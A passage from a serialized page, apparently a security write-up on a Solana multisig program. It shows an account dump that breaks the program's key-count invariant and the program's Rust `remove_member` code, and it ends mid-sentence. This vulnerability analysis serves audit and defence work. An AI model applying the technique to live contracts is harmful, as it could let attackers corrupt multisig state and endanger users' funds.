},\n}\n",[23171],{"type":23,"tag":135,"props":23172,"children":23173},{"__ignoreMap":7},[23174,23185,23205,23225,23245,23265,23285,23305,23325,23345,23366,23387,23395,23403,23433],{"type":23,"tag":139,"props":23175,"children":23176},{"class":141,"line":142},[23177,23181],{"type":23,"tag":139,"props":23178,"children":23179},{"style":305},[23180],{"type":28,"value":15158},{"type":23,"tag":139,"props":23182,"children":23183},{"style":259},[23184],{"type":28,"value":1268},{"type":23,"tag":139,"props":23186,"children":23187},{"class":141,"line":151},[23188,23193,23197,23201],{"type":23,"tag":139,"props":23189,"children":23190},{"style":294},[23191],{"type":28,"value":23192},"    account",{"type":23,"tag":139,"props":23194,"children":23195},{"style":982},[23196],{"type":28,"value":2493},{"type":23,"tag":139,"props":23198,"children":23199},{"style":305},[23200],{"type":28,"value":19164},{"type":23,"tag":139,"props":23202,"children":23203},{"style":259},[23204],{"type":28,"value":1268},{"type":23,"tag":139,"props":23206,"children":23207},{"class":141,"line":160},[23208,23212,23216,23221],{"type":23,"tag":139,"props":23209,"children":23210},{"style":294},[23211],{"type":28,"value":21846},{"type":23,"tag":139,"props":23213,"children":23214},{"style":982},[23215],{"type":28,"value":2493},{"type":23,"tag":139,"props":23217,"children":23218},{"style":1016},[23219],{"type":28,"value":23220}," 32768",{"type":23,"tag":139,"props":23222,"children":23223},{"style":259},[23224],{"type":28,"value":1488},{"type":23,"tag":139,"props":23226,"children":23227},{"class":141,"line":169},[23228,23233,23237,23241],{"type":23,"tag":139,"props":23229,"children":23230},{"style":294},[23231],{"type":28,"value":23232},"        authority_index",{"type":23,"tag":139,"props":23234,"children":23235},{"style":982},[23236],{"type":28,"value":2493},{"type":23,"tag":139,"props":23238,"children":23239},{"style":1016},[23240],{"type":28,"value":2525},{"type":23,"tag":139,"props":23242,"children":23243},{"style":259},[23244],{"type":28,"value":1488},{"type":23,"tag":139,"props":23246,"children":23247},{"class":141,"line":178},[23248,23253,23257,23261],{"type":23,"tag":139,"props":23249,"children":23250},{"style":294},[23251],{"type":28,"value":23252},"        transaction_index",{"type":23,"tag":139,"props":23254,"children":23255},{"style":982},[23256],{"type":28,"value":2493},{"type":23,"tag":139,"props":23258,"children":23259},{"style":1016},[23260],{"type":28,"value":1019},{"type":23,"tag":139,"props":23262,"children":23263},{"style":259},[23264],{"type":28,"value":1488},{"type":23,"tag":139,"props":23266,"children":23267},{"class":141,"line":187},[23268,23273,23277,23281],{"type":23,"tag":139,"props":23269,"children":23270},{"style":294},[23271],{"type":28,"value":23272},"        ms_change_index",{"type":23,"tag":139,"props":23274,"children":23275},{"style":982},[23276],{"type":28,"value":2493},{"type":23,"tag":139,"props":23278,"children":23279},{"style":1016},[23280],{"type":28,"value":1019},{"type":23,"tag":139,"props":23282,"children":23283},{"style":259},[23284],{"type":28,"value":1488},{"type":23,"tag":139,"props":23286,"children":23287},{"class":141,"line":196},[23288,23293,23297,23301],{"type":23,"tag":139,"props":23289,"children":23290},{"style":294},[23291],{"type":28,"value":23292},"        bump",{"type":23,"tag":139,"props":23294,"children":23295},{"style":982},[23296],{"type":28,"value":2493},{"type":23,"tag":139,"props":23298,"children":23299},{"style":1016},[23300],{"type":28,"value":1019},{"type":23,"tag":139,"props":23302,"children":23303},{"style":259},[23304],{"type":28,"value":1488},{"type":23,"tag":139,"props":23306,"children":23307},{"class":141,"line":205},[23308,23312,23316,23321],{"type":23,"tag":139,"props":23309,"children":23310},{"style":294},[23311],{"type":28,"value":21859},{"type":23,"tag":139,"props":23313,"children":23314},{"style":982},[23315],{"type":28,"value":2493},{"type":23,"tag":139,"props":23317,"children":23318},{"style":982},[23319],{"type":28,"value":23320}," ...",{"type":23,"tag":139,"props":23322,"children":23323},{"style":259},[23324],{"type":28,"value":1488},{"type":23,"tag":139,"props":23326,"children":23327},{"class":141,"line":214},[23328,23333,23337,23341],{"type":23,"tag":139,"props":23329,"children":23330},{"style":294},[23331],{"type":28,"value":23332},"        allow_external_execute",{"type":23,"tag":139,"props":23334,"children":23335},{"style":982},[23336],{"type":28,"value":2493},{"type":23,"tag":139,"props":23338,"children":23339},{"style":279},[23340],{"type":28,"value":7064},{"type":23,"tag":139,"props":23342,"children":23343},{"style":259},[23344],{"type":28,"value":1488},{"type":23,"tag":139,"props":23346,"children":23347},{"class":141,"line":1320},[23348,23353,23357,23362],{"type":23,"tag":139,"props":23349,"children":23350},{"style":294},[23351],{"type":28,"value":23352},"        keys",{"type":23,"tag":139,"props":23354,"children":23355},{"style":982},[23356],{"type":28,"value":2493},{"type":23,"tag":139,"props":23358,"children":23359},{"style":305},[23360],{"type":28,"value":23361}," SparseVec",{"type":23,"tag":139,"props":23363,"children":23364},{"style":259},[23365],{"type":28,"value":1268},{"type":23,"tag":139,"props":23367,"children":23368},{"class":141,"line":1329},[23369,23374,23378,23383],{"type":23,"tag":139,"props":23370,"children":23371},{"style":294},[23372],{"type":28,"value":23373},"            size",{"type":23,"tag":139,"props":23375,"children":23376},{"style":982},[23377],{"type":28,"value":2493},{"type":23,"tag":139,"props":23379,"children":23380},{"style":1016},[23381],{"type":28,"value":23382}," 5112",{"type":23,"tag":139,"props":23384,"children":23385},{"style":259},[23386],{"type":28,"value":1488},{"type":23,"tag":139,"props":23388,"children":23389},{"class":141,"line":1580},[23390],{"type":23,"tag":139,"props":23391,"children":23392},{"style":259},[23393],{"type":28,"value":23394},"        },\n",{"type":23,"tag":139,"props":23396,"children":23397},{"class":141,"line":1597},[23398],{"type":23,"tag":139,"props":23399,"children":23400},{"style":259},[23401],{"type":28,"value":23402},"    },\n",{"type":23,"tag":139,"props":23404,"children":23405},{"class":141,"line":1614},[23406,23411,23415,23420,23424,23428],{"type":23,"tag":139,"props":23407,"children":23408},{"style":294},[23409],{"type":28,"value":23410},"    info",{"type":23,"tag":139,"props":23412,"children":23413},{"style":982},[23414],{"type":28,"value":2493},{"type":23,"tag":139,"props":23416,"children":23417},{"style":305},[23418],{"type":28,"value":23419}," AccountInfo",{"type":23,"tag":139,"props":23421,"children":23422},{"style":259},[23423],{"type":28,"value":7594},{"type":23,"tag":139,"props":23425,"children":23426},{"style":982},[23427],{"type":28,"value":7599},{"type":23,"tag":139,"props":23429,"children":23430},{"style":259},[23431],{"type":28,"value":23432}," },\n",{"type":23,"tag":139,"props":23434,"children":23435},{"class":141,"line":1627},[23436],{"type":23,"tag":139,"props":23437,"children":23438},{"style":259},[23439],{"type":28,"value":1897},{"type":23,"tag":24,"props":23441,"children":23442},{},[23443,23445,23450,23452,23457],{"type":28,"value":23444},"Here we see that the ",{"type":23,"tag":135,"props":23446,"children":23448},{"className":23447},[],[23449],{"type":28,"value":20758},{"type":28,"value":23451}," of the newly created ",{"type":23,"tag":135,"props":23453,"children":23455},{"className":23454},[],[23456],{"type":28,"value":20750},{"type":28,"value":23458}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":666,"props":23460,"children":23462},{"id":23461},"verify-requirements-to-remove-a-member",[23463],{"type":28,"value":20788},{"type":23,"tag":24,"props":23465,"children":23466},{},[23467,23469,23474,23475,23480,23482,23488],{"type":28,"value":23468},"Now that we've seen both ",{"type":23,"tag":135,"props":23470,"children":23472},{"className":23471},[],[23473],{"type":28,"value":18162},{"type":28,"value":9002},{"type":23,"tag":135,"props":23476,"children":23478},{"className":23477},[],[23479],{"type":28,"value":19786},{"type":28,"value":23481}," let's take a look at the ",{"type":23,"tag":135,"props":23483,"children":23485},{"className":23484},[],[23486],{"type":28,"value":23487},"remove_member",{"type":28,"value":23489}," function:",{"type":23,"tag":128,"props":23491,"children":23493},{"code":23492,"language":947,"meta":7,"className":948,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[23494],{"type":23,"tag":135,"props":23495,"children":23496},{"__ignoreMap":7},[23497,23520,23548,23563,23608,23615,23627,23643,23655,23681,23689,23718,23725,23757,23764,23771,23845,23853,23913,23945,23952,24003,24010,24018,24111,24200,24254,24261,24306,24351],{"type":23,"tag":139,"props":23498,"children":23499},{"class":141,"line":142},[23500,23504,23508,23512,23516],{"type":23,"tag":139,"props":23501,"children":23502},{"style":259},[23503],{"type":28,"value":20846},{"type":23,"tag":139,"props":23505,"children":23506},{"style":305},[23507],{"type":28,"value":20851},{"type":23,"tag":139,"props":23509,"children":23510},{"style":259},[23511],{"type":28,"value":1052},{"type":23,"tag":139,"props":23513,"children":23514},{"style":305},[23515],{"type":28,"value":22731},{"type":23,"tag":139,"props":23517,"children":23518},{"style":259},[23519],{"type":28,"value":18266},{"type":23,"tag":139,"props":23521,"children":23522},{"class":141,"line":151},[23523,23527,23531,23536,23540,23544],{"type":23,"tag":139,"props":23524,"children":23525},{"style":279},[23526],{"type":28,"value":11701},{"type":23,"tag":139,"props":23528,"children":23529},{"style":279},[23530],{"type":28,"value":19159},{"type":23,"tag":139,"props":23532,"children":23533},{"style":305},[23534],{"type":28,"value":23535}," MsAuth",{"type":23,"tag":139,"props":23537,"children":23538},{"style":259},[23539],{"type":28,"value":20931},{"type":23,"tag":139,"props":23541,"children":23542},{"style":305},[23543],{"type":28,"value":20936},{"type":23,"tag":139,"props":23545,"children":23546},{"style":259},[23547],{"type":28,"value":5284},{"type":23,"tag":139,"props":23549,"children":23550},{"class":141,"line":160},[23551,23555,23559],{"type":23,"tag":139,"props":23552,"children":23553},{"style":259},[23554],{"type":28,"value":21138},{"type":23,"tag":139,"props":23556,"children":23557},{"style":279},[23558],{"type":28,"value":1713},{"type":23,"tag":139,"props":23560,"children":23561},{"style":259},[23562],{"type":28,"value":18266},{"type":23,"tag":139,"props":23564,"children":23565},{"class":141,"line":169},[23566,23571,23575,23580,23584,23588,23592,23596,23600,23604],{"type":23,"tag":139,"props":23567,"children":23568},{"style":294},[23569],{"type":28,"value":23570},"    multisig",{"type":23,"tag":139,"props":23572,"children":23573},{"style":982},[23574],{"type":28,"value":2493},{"type":23,"tag":139,"props":23576,"children":23577},{"style":305},[23578],{"type":28,"value":23579}," Box",{"type":23,"tag":139,"props":23581,"children":23582},{"style":259},[23583],{"type":28,"value":3808},{"type":23,"tag":139,"props":23585,"children":23586},{"style":305},[23587],{"type":28,"value":15158},{"type":23,"tag":139,"props":23589,"children":23590},{"style":259},[23591],{"type":28,"value":20931},{"type":23,"tag":139,"props":23593,"children":23594},{"style":305},[23595],{"type":28,"value":20936},{"type":23,"tag":139,"props":23597,"children":23598},{"style":259},[23599],{"type":28,"value":1052},{"type":23,"tag":139,"props":23601,"children":23602},{"style":305},[23603],{"type":28,"value":20750},{"type":23,"tag":139,"props":23605,"children":23606},{"style":259},[23607],{"type":28,"value":4954},{"type":23,"tag":139,"props":23609,"children":23610},{"class":141,"line":178},[23611],{"type":23,"tag":139,"props":23612,"children":23613},{"style":259},[23614],{"type":28,"value":20948},{"type":23,"tag":139,"props":23616,"children":23617},{"class":141,"line":187},[23618,23623],{"type":23,"tag":139,"props":23619,"children":23620},{"style":279},[23621],{"type":28,"value":23622},"        mut",{"type":23,"tag":139,"props":23624,"children":23625},{"style":259},[23626],{"type":28,"value":1488},{"type":23,"tag":139,"props":23628,"children":23629},{"class":141,"line":196},[23630,23634,23638],{"type":23,"tag":139,"props":23631,"children":23632},{"style":259},[23633],{"type":28,"value":21032},{"type":23,"tag":139,"props":23635,"children":23636},{"style":982},[23637],{"type":28,"value":1067},{"type":23,"tag":139,"props":23639,"children":23640},{"style":259},[23641],{"type":28,"value":23642}," [\n",{"type":23,"tag":139,"props":23644,"children":23645},{"class":141,"line":205},[23646,23651],{"type":23,"tag":139,"props":23647,"children":23648},{"style":265},[23649],{"type":28,"value":23650},"            b\"squad\"",{"type":23,"tag":139,"props":23652,"children":23653},{"style":259},[23654],{"type":28,"value":1488},{"type":23,"tag":139,"props":23656,"children":23657},{"class":141,"line":214},[23658,23663,23667,23672,23676],{"type":23,"tag":139,"props":23659,"children":23660},{"style":259},[23661],{"type":28,"value":23662},"            multisig",{"type":23,"tag":139,"props":23664,"children":23665},{"style":982},[23666],{"type":28,"value":73},{"type":23,"tag":139,"props":23668,"children":23669},{"style":259},[23670],{"type":28,"value":23671},"create_key",{"type":23,"tag":139,"props":23673,"children":23674},{"style":982},[23675],{"type":28,"value":73},{"type":23,"tag":139,"props":23677,"children":23678},{"style":259},[23679],{"type":28,"value":23680},"as_ref(),\n",{"type":23,"tag":139,"props":23682,"children":23683},{"class":141,"line":1320},[23684],{"type":23,"tag":139,"props":23685,"children":23686},{"style":265},[23687],{"type":28,"value":23688},"            b\"multisig\"\n",{"type":23,"tag":139,"props":23690,"children":23691},{"class":141,"line":1329},[23692,23697,23702,23706,23710,23714],{"type":23,"tag":139,"props":23693,"children":23694},{"style":259},[23695],{"type":28,"value":23696},"        ], ",{"type":23,"tag":139,"props":23698,"children":23699},{"style":294},[23700],{"type":28,"value":23701},"bump",{"type":23,"tag":139,"props":23703,"children":23704},{"style":982},[23705],{"type":28,"value":985},{"type":23,"tag":139,"props":23707,"children":23708},{"style":294},[23709],{"type":28,"value":21094},{"type":23,"tag":139,"props":23711,"children":23712},{"style":982},[23713],{"type":28,"value":73},{"type":23,"tag":139,"props":23715,"children":23716},{"style":259},[23717],{"type":28,"value":21074},{"type":23,"tag":139,"props":23719,"children":23720},{"class":141,"line":1580},[23721],{"type":23,"tag":139,"props":23722,"children":23723},{"style":259},[23724],{"type":28,"value":21082},{"type":23,"tag":139,"props":23726,"children":23727},{"class":141,"line":1597},[23728,23732,23737,23741,23745,23749,23753],{"type":23,"tag":139,"props":23729,"children":23730},{"style":279},[23731],{"type":28,"value":18851},{"type":23,"tag":139,"props":23733,"children":23734},{"style":294},[23735],{"type":28,"value":23736}," multisig_auth",{"type":23,"tag":139,"props":23738,"children":23739},{"style":982},[23740],{"type":28,"value":2493},{"type":23,"tag":139,"props":23742,"children":23743},{"style":305},[23744],{"type":28,"value":21167},{"type":23,"tag":139,"props":23746,"children":23747},{"style":259},[23748],{"type":28,"value":20931},{"type":23,"tag":139,"props":23750,"children":23751},{"style":305},[23752],{"type":28,"value":20936},{"type":23,"tag":139,"props":23754,"children":23755},{"style":259},[23756],{"type":28,"value":4141},{"type":23,"tag":139,"props":23758,"children":23759},{"class":141,"line":1614},[23760],{"type":23,"tag":139,"props":23761,"children":23762},{"style":259},[23763],{"type":28,"value":1897},{"type":23,"tag":139,"props":23765,"children":23766},{"class":141,"line":1627},[23767],{"type":23,"tag":139,"props":23768,"children":23769},{"emptyLinePlaceholder":15},[23770],{"type":28,"value":184},{"type":23,"tag":139,"props":23772,"children":23773},{"class":141,"line":1636},[23774,23778,23782,23787,23791,23795,23799,23803,23807,23812,23816,23821,23825,23829,23833,23837,23841],{"type":23,"tag":139,"props":23775,"children":23776},{"style":279},[23777],{"type":28,"value":11701},{"type":23,"tag":139,"props":23779,"children":23780},{"style":279},[23781],{"type":28,"value":11706},{"type":23,"tag":139,"props":23783,"children":23784},{"style":245},[23785],{"type":28,"value":23786}," remove_member",{"type":23,"tag":139,"props":23788,"children":23789},{"style":259},[23790],{"type":28,"value":262},{"type":23,"tag":139,"props":23792,"children":23793},{"style":294},[23794],{"type":28,"value":18288},{"type":23,"tag":139,"props":23796,"children":23797},{"style":982},[23798],{"type":28,"value":2493},{"type":23,"tag":139,"props":23800,"children":23801},{"style":305},[23802],{"type":28,"value":18297},{"type":23,"tag":139,"props":23804,"children":23805},{"style":259},[23806],{"type":28,"value":3808},{"type":23,"tag":139,"props":23808,"children":23809},{"style":305},[23810],{"type":28,"value":23811},"MsAuth",{"type":23,"tag":139,"props":23813,"children":23814},{"style":259},[23815],{"type":28,"value":4633},{"type":23,"tag":139,"props":23817,"children":23818},{"style":294},[23819],{"type":28,"value":23820},"old_member",{"type":23,"tag":139,"props":23822,"children":23823},{"style":982},[23824],{"type":28,"value":2493},{"type":23,"tag":139,"props":23826,"children":23827},{"style":305},[23828],{"type":28,"value":18865},{"type":23,"tag":139,"props":23830,"children":23831},{"style":259},[23832],{"type":28,"value":1062},{"type":23,"tag":139,"props":23834,"children":23835},{"style":982},[23836],{"type":28,"value":11768},{"type":23,"tag":139,"props":23838,"children":23839},{"style":305},[23840],{"type":28,"value":11773},{"type":23,"tag":139,"props":23842,"children":23843},{"style":259},[23844],{"type":28,"value":18339},{"type":23,"tag":139,"props":23846,"children":23847},{"class":141,"line":1659},[23848],{"type":23,"tag":139,"props":23849,"children":23850},{"style":958},[23851],{"type":28,"value":23852},"    // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":139,"props":23854,"children":23855},{"class":141,"line":1667},[23856,23860,23865,23869,23873,23877,23881,23885,23889,23893,23897,23901,23905,23909],{"type":23,"tag":139,"props":23857,"children":23858},{"style":319},[23859],{"type":28,"value":10290},{"type":23,"tag":139,"props":23861,"children":23862},{"style":294},[23863],{"type":28,"value":23864}," ctx",{"type":23,"tag":139,"props":23866,"children":23867},{"style":982},[23868],{"type":28,"value":73},{"type":23,"tag":139,"props":23870,"children":23871},{"style":259},[23872],{"type":28,"value":12686},{"type":23,"tag":139,"props":23874,"children":23875},{"style":982},[23876],{"type":28,"value":73},{"type":23,"tag":139,"props":23878,"children":23879},{"style":259},[23880],{"type":28,"value":21825},{"type":23,"tag":139,"props":23882,"children":23883},{"style":982},[23884],{"type":28,"value":73},{"type":23,"tag":139,"props":23886,"children":23887},{"style":259},[23888],{"type":28,"value":18991},{"type":23,"tag":139,"props":23890,"children":23891},{"style":982},[23892],{"type":28,"value":73},{"type":23,"tag":139,"props":23894,"children":23895},{"style":245},[23896],{"type":28,"value":7146},{"type":23,"tag":139,"props":23898,"children":23899},{"style":259},[23900],{"type":28,"value":12054},{"type":23,"tag":139,"props":23902,"children":23903},{"style":982},[23904],{"type":28,"value":6580},{"type":23,"tag":139,"props":23906,"children":23907},{"style":1016},[23908],{"type":28,"value":2525},{"type":23,"tag":139,"props":23910,"children":23911},{"style":259},[23912],{"type":28,"value":1268},{"type":23,"tag":139,"props":23914,"children":23915},{"class":141,"line":1676},[23916,23920,23924,23928,23932,23936,23941],{"type":23,"tag":139,"props":23917,"children":23918},{"style":319},[23919],{"type":28,"value":13755},{"type":23,"tag":139,"props":23921,"children":23922},{"style":245},[23923],{"type":28,"value":21528},{"type":23,"tag":139,"props":23925,"children":23926},{"style":259},[23927],{"type":28,"value":262},{"type":23,"tag":139,"props":23929,"children":23930},{"style":305},[23931],{"type":28,"value":21537},{"type":23,"tag":139,"props":23933,"children":23934},{"style":982},[23935],{"type":28,"value":1461},{"type":23,"tag":139,"props":23937,"children":23938},{"style":305},[23939],{"type":28,"value":23940},"CannotRemoveSoloMember",{"type":23,"tag":139,"props":23942,"children":23943},{"style":259},[23944],{"type":28,"value":1820},{"type":23,"tag":139,"props":23946,"children":23947},{"class":141,"line":1745},[23948],{"type":23,"tag":139,"props":23949,"children":23950},{"style":259},[23951],{"type":28,"value":1335},{"type":23,"tag":139,"props":23953,"children":23954},{"class":141,"line":1753},[23955,23959,23963,23967,23971,23975,23979,23983,23987,23991,23995,23999],{"type":23,"tag":139,"props":23956,"children":23957},{"style":294},[23958],{"type":28,"value":18231},{"type":23,"tag":139,"props":23960,"children":23961},{"style":982},[23962],{"type":28,"value":73},{"type":23,"tag":139,"props":23964,"children":23965},{"style":259},[23966],{"type":28,"value":12686},{"type":23,"tag":139,"props":23968,"children":23969},{"style":982},[23970],{"type":28,"value":73},{"type":23,"tag":139,"props":23972,"children":23973},{"style":259},[23974],{"type":28,"value":21825},{"type":23,"tag":139,"props":23976,"children":23977},{"style":982},[23978],{"type":28,"value":73},{"type":23,"tag":139,"props":23980,"children":23981},{"style":245},[23982],{"type":28,"value":23487},{"type":23,"tag":139,"props":23984,"children":23985},{"style":259},[23986],{"type":28,"value":262},{"type":23,"tag":139,"props":23988,"children":23989},{"style":294},[23990],{"type":28,"value":23820},{"type":23,"tag":139,"props":23992,"children":23993},{"style":259},[23994],{"type":28,"value":1104},{"type":23,"tag":139,"props":23996,"children":23997},{"style":982},[23998],{"type":28,"value":1132},{"type":23,"tag":139,"props":24000,"children":24001},{"style":259},[24002],{"type":28,"value":995},{"type":23,"tag":139,"props":24004,"children":24005},{"class":141,"line":1783},[24006],{"type":23,"tag":139,"props":24007,"children":24008},{"emptyLinePlaceholder":15},[24009],{"type":28,"value":184},{"type":23,"tag":139,"props":24011,"children":24012},{"class":141,"line":1791},[24013],{"type":23,"tag":139,"props":24014,"children":24015},{"style":958},[24016],{"type":28,"value":24017},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":139,"props":24019,"children":24020},{"class":141,"line":1823},[24021,24025,24029,24033,24037,24041,24045,24049,24053,24057,24061,24066,24070,24074,24078,24082,24086,24090,24094,24098,24102,24106],{"type":23,"tag":139,"props":24022,"children":24023},{"style":319},[24024],{"type":28,"value":10290},{"type":23,"tag":139,"props":24026,"children":24027},{"style":294},[24028],{"type":28,"value":23864},{"type":23,"tag":139,"props":24030,"children":24031},{"style":982},[24032],{"type":28,"value":73},{"type":23,"tag":139,"props":24034,"children":24035},{"style":259},[24036],{"type":28,"value":12686},{"type":23,"tag":139,"props":24038,"children":24039},{"style":982},[24040],{"type":28,"value":73},{"type":23,"tag":139,"props":24042,"children":24043},{"style":259},[24044],{"type":28,"value":21825},{"type":23,"tag":139,"props":24046,"children":24047},{"style":982},[24048],{"type":28,"value":73},{"type":23,"tag":139,"props":24050,"children":24051},{"style":259},[24052],{"type":28,"value":18991},{"type":23,"tag":139,"props":24054,"children":24055},{"style":982},[24056],{"type":28,"value":73},{"type":23,"tag":139,"props":24058,"children":24059},{"style":245},[24060],{"type":28,"value":7146},{"type":23,"tag":139,"props":24062,"children":24063},{"style":259},[24064],{"type":28,"value":24065},"() \u003C ",{"type":23,"tag":139,"props":24067,"children":24068},{"style":305},[24069],{"type":28,"value":14613},{"type":23,"tag":139,"props":24071,"children":24072},{"style":982},[24073],{"type":28,"value":1461},{"type":23,"tag":139,"props":24075,"children":24076},{"style":245},[24077],{"type":28,"value":17480},{"type":23,"tag":139,"props":24079,"children":24080},{"style":259},[24081],{"type":28,"value":262},{"type":23,"tag":139,"props":24083,"children":24084},{"style":294},[24085],{"type":28,"value":18288},{"type":23,"tag":139,"props":24087,"children":24088},{"style":982},[24089],{"type":28,"value":73},{"type":23,"tag":139,"props":24091,"children":24092},{"style":259},[24093],{"type":28,"value":12686},{"type":23,"tag":139,"props":24095,"children":24096},{"style":982},[24097],{"type":28,"value":73},{"type":23,"tag":139,"props":24099,"children":24100},{"style":259},[24101],{"type":28,"value":21825},{"type":23,"tag":139,"props":24103,"children":24104},{"style":982},[24105],{"type":28,"value":73},{"type":23,"tag":139,"props":24107,"children":24108},{"style":259},[24109],{"type":28,"value":24110},"threshold) {\n",{"type":23,"tag":139,"props":24112,"children":24113},{"class":141,"line":1831},[24114,24118,24123,24127,24131,24135,24139,24143,24147,24151,24155,24159,24163,24167,24171,24175,24179,24184,24188,24192,24196],{"type":23,"tag":139,"props":24115,"children":24116},{"style":279},[24117],{"type":28,"value":1037},{"type":23,"tag":139,"props":24119,"children":24120},{"style":294},[24121],{"type":28,"value":24122}," new_threshold",{"type":23,"tag":139,"props":24124,"children":24125},{"style":982},[24126],{"type":28,"value":2493},{"type":23,"tag":139,"props":24128,"children":24129},{"style":305},[24130],{"type":28,"value":19038},{"type":23,"tag":139,"props":24132,"children":24133},{"style":982},[24134],{"type":28,"value":985},{"type":23,"tag":139,"props":24136,"children":24137},{"style":294},[24138],{"type":28,"value":23864},{"type":23,"tag":139,"props":24140,"children":24141},{"style":982},[24142],{"type":28,"value":73},{"type":23,"tag":139,"props":24144,"children":24145},{"style":259},[24146],{"type":28,"value":12686},{"type":23,"tag":139,"props":24148,"children":24149},{"style":982},[24150],{"type":28,"value":73},{"type":23,"tag":139,"props":24152,"children":24153},{"style":259},[24154],{"type":28,"value":21825},{"type":23,"tag":139,"props":24156,"children":24157},{"style":982},[24158],{"type":28,"value":73},{"type":23,"tag":139,"props":24160,"children":24161},{"style":259},[24162],{"type":28,"value":18991},{"type":23,"tag":139,"props":24164,"children":24165},{"style":982},[24166],{"type":28,"value":73},{"type":23,"tag":139,"props":24168,"children":24169},{"style":245},[24170],{"type":28,"value":7146},{"type":23,"tag":139,"props":24172,"children":24173},{"style":259},[24174],{"type":28,"value":11890},{"type":23,"tag":139,"props":24176,"children":24177},{"style":982},[24178],{"type":28,"value":73},{"type":23,"tag":139,"props":24180,"children":24181},{"style":245},[24182],{"type":28,"value":24183},"try_into",{"type":23,"tag":139,"props":24185,"children":24186},{"style":259},[24187],{"type":28,"value":11890},{"type":23,"tag":139,"props":24189,"children":24190},{"style":982},[24191],{"type":28,"value":73},{"type":23,"tag":139,"props":24193,"children":24194},{"style":245},[24195],{"type":28,"value":1651},{"type":23,"tag":139,"props":24197,"children":24198},{"style":259},[24199],{"type":28,"value":1656},{"type":23,"tag":139,"props":24201,"children":24202},{"class":141,"line":1891},[24203,24208,24212,24216,24220,24224,24228,24233,24237,24242,24246,24250],{"type":23,"tag":139,"props":24204,"children":24205},{"style":294},[24206],{"type":28,"value":24207},"        ctx",{"type":23,"tag":139,"props":24209,"children":24210},{"style":982},[24211],{"type":28,"value":73},{"type":23,"tag":139,"props":24213,"children":24214},{"style":259},[24215],{"type":28,"value":12686},{"type":23,"tag":139,"props":24217,"children":24218},{"style":982},[24219],{"type":28,"value":73},{"type":23,"tag":139,"props":24221,"children":24222},{"style":259},[24223],{"type":28,"value":21825},{"type":23,"tag":139,"props":24225,"children":24226},{"style":982},[24227],{"type":28,"value":73},{"type":23,"tag":139,"props":24229,"children":24230},{"style":245},[24231],{"type":28,"value":24232},"change_threshold",{"type":23,"tag":139,"props":24234,"children":24235},{"style":259},[24236],{"type":28,"value":262},{"type":23,"tag":139,"props":24238,"children":24239},{"style":294},[24240],{"type":28,"value":24241},"new_threshold",{"type":23,"tag":139,"props":24243,"children":24244},{"style":259},[24245],{"type":28,"value":1104},{"type":23,"tag":139,"props":24247,"children":24248},{"style":982},[24249],{"type":28,"value":1132},{"type":23,"tag":139,"props":24251,"children":24252},{"style":259},[24253],{"type":28,"value":995},{"type":23,"tag":139,"props":24255,"children":24256},{"class":141,"line":7053},[24257],{"type":23,"tag":139,"props":24258,"children":24259},{"style":259},[24260],{"type":28,"value":1335},{"type":23,"tag":139,"props":24262,"children":24263},{"class":141,"line":7071},[24264,24268,24273,24277,24281,24285,24289,24293,24297,24301],{"type":23,"tag":139,"props":24265,"children":24266},{"style":279},[24267],{"type":28,"value":969},{"type":23,"tag":139,"props":24269,"children":24270},{"style":294},[24271],{"type":28,"value":24272}," new_index",{"type":23,"tag":139,"props":24274,"children":24275},{"style":982},[24276],{"type":28,"value":985},{"type":23,"tag":139,"props":24278,"children":24279},{"style":294},[24280],{"type":28,"value":23864},{"type":23,"tag":139,"props":24282,"children":24283},{"style":982},[24284],{"type":28,"value":73},{"type":23,"tag":139,"props":24286,"children":24287},{"style":259},[24288],{"type":28,"value":12686},{"type":23,"tag":139,"props":24290,"children":24291},{"style":982},[24292],{"type":28,"value":73},{"type":23,"tag":139,"props":24294,"children":24295},{"style":259},[24296],{"type":28,"value":21825},{"type":23,"tag":139,"props":24298,"children":24299},{"style":982},[24300],{"type":28,"value":73},{"type":23,"tag":139,"props":24302,"children":24303},{"style":259},[24304],{"type":28,"value":24305},"transaction_index;\n",{"type":23,"tag":139,"props":24307,"children":24308},{"class":141,"line":7116},[24309,24313,24317,24321,24325,24329,24333,24338,24342,24347],{"type":23,"tag":139,"props":24310,"children":24311},{"style":294},[24312],{"type":28,"value":18231},{"type":23,"tag":139,"props":24314,"children":24315},{"style":982},[24316],{"type":28,"value":73},{"type":23,"tag":139,"props":24318,"children":24319},{"style":259},[24320],{"type":28,"value":12686},{"type":23,"tag":139,"props":24322,"children":24323},{"style":982},[24324],{"type":28,"value":73},{"type":23,"tag":139,"props":24326,"children":24327},{"style":259},[24328],{"type":28,"value":21825},{"type":23,"tag":139,"props":24330,"children":24331},{"style":982},[24332],{"type":28,"value":73},{"type":23,"tag":139,"props":24334,"children":24335},{"style":245},[24336],{"type":28,"value":24337},"set_change_index",{"type":23,"tag":139,"props":24339,"children":24340},{"style":259},[24341],{"type":28,"value":262},{"type":23,"tag":139,"props":24343,"children":24344},{"style":294},[24345],{"type":28,"value":24346},"new_index",{"type":23,"tag":139,"props":24348,"children":24349},{"style":259},[24350],{"type":28,"value":273},{"type":23,"tag":139,"props":24352,"children":24353},{"class":141,"line":7222},[24354],{"type":23,"tag":139,"props":24355,"children":24356},{"style":259},[24357],{"type":28,"value":1897},{"type":23,"tag":24,"props":24359,"children":24360},{},[24361,24363,24368],{"type":28,"value":24362},"First let's establish the 